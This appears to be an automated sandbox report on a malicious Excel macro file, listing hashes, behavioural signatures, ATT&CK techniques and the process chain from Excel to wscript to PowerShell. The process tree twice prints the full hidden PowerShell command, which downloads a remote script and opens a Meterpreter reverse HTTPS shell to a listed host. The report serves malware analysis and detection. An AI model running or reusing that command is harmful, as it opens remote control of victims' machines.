e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111

General

Target

e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
Size

44KB
MD5

c75e74d9a3c2057a5f53f4eed1fd7d52
SHA1

06279205c38c809a596bc25c3ebade01a1aaf55f
SHA256

e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111
SHA512

a8b8ea46df6bf43bda2d23b4943b8732cc69f6404c839649570c42004a919fe668a19760bb4ea363b7e023f291a1c358f4041b0ca1c3868632444e563166382b
SSDEEP

768:Ctvo+rzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSjWRJFlmQQc82J9acM9acyL:qZk3hbdlylKsgqopeJBWhZFGkE+cL2Nc

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2012	2356	powershell.exe	30
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2560	2624	wscript.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2012	powershell.exe
4	2012	powershell.exe
5	1780	powershell.exe
6	1780	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1780	powershell.exe
2012	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
4	raw.githubusercontent.com
5	raw.githubusercontent.com
6	raw.githubusercontent.com
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2624	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2012	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2624	EXCEL.EXE
2624	EXCEL.EXE
2624	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 2560	2624	EXCEL.EXE	33
PID 2624 wrote to memory of 2560	2624	EXCEL.EXE	33
PID 2624 wrote to memory of 2560	2624	EXCEL.EXE	33
PID 2624 wrote to memory of 2560	2624	EXCEL.EXE	33
PID 2560 wrote to memory of 1780	2560	wscript.exe	34
PID 2560 wrote to memory of 1780	2560	wscript.exe	34
PID 2560 wrote to memory of 1780	2560	wscript.exe	34
PID 2560 wrote to memory of 1780	2560	wscript.exe	34

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\SysWOW64\wscript.exe
  wscript C:\Users\Public\config.vbs
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1780

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CSCL035JXFWZ292UGY8Z.temp

Filesize
7KB

MD5
1f7aa130aec8b55e79810d2b205b72af

SHA1
222a8283498945d7dcb584be0e0f6a590d3ac08e

SHA256
2e5999548795c8f9378fc6139c9977ab840842550967c871ffb7ab9d91b79dfc

SHA512
253c2746cf5b9873a1c9d223a59ba7ec46b336408777397e5a66f2c3dbe4d125b92f6d654e309bbceb402cd09d22ba1291e2d23bca65d9f34a3dc6a8d49c1c2a

Download Submit
C:\Users\Public\config.vbs

Filesize
461B

MD5
ce52ab154163c511f0efa6a61e22ab64

SHA1
9f12cc215e15802eddcb02cb5370ef16b21fa3a6

SHA256
df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17

SHA512
cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78

Download Submit
memory/2012-46-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2012-45-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2624-10-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-38-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-6-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2624-9-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-13-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-12-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-7-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-18-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-39-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-34-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-37-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-32-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-2-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-19-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-27-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-5-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-3-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-4-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-1-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download
memory/2624-49-0x000000007293D000-0x0000000072948000-memory.dmp

Filesize
44KB

Download
memory/2624-50-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-51-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-52-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download
memory/2624-53-0x0000000000770000-0x0000000000870000-memory.dmp

Filesize
1024KB

Download

Analysis

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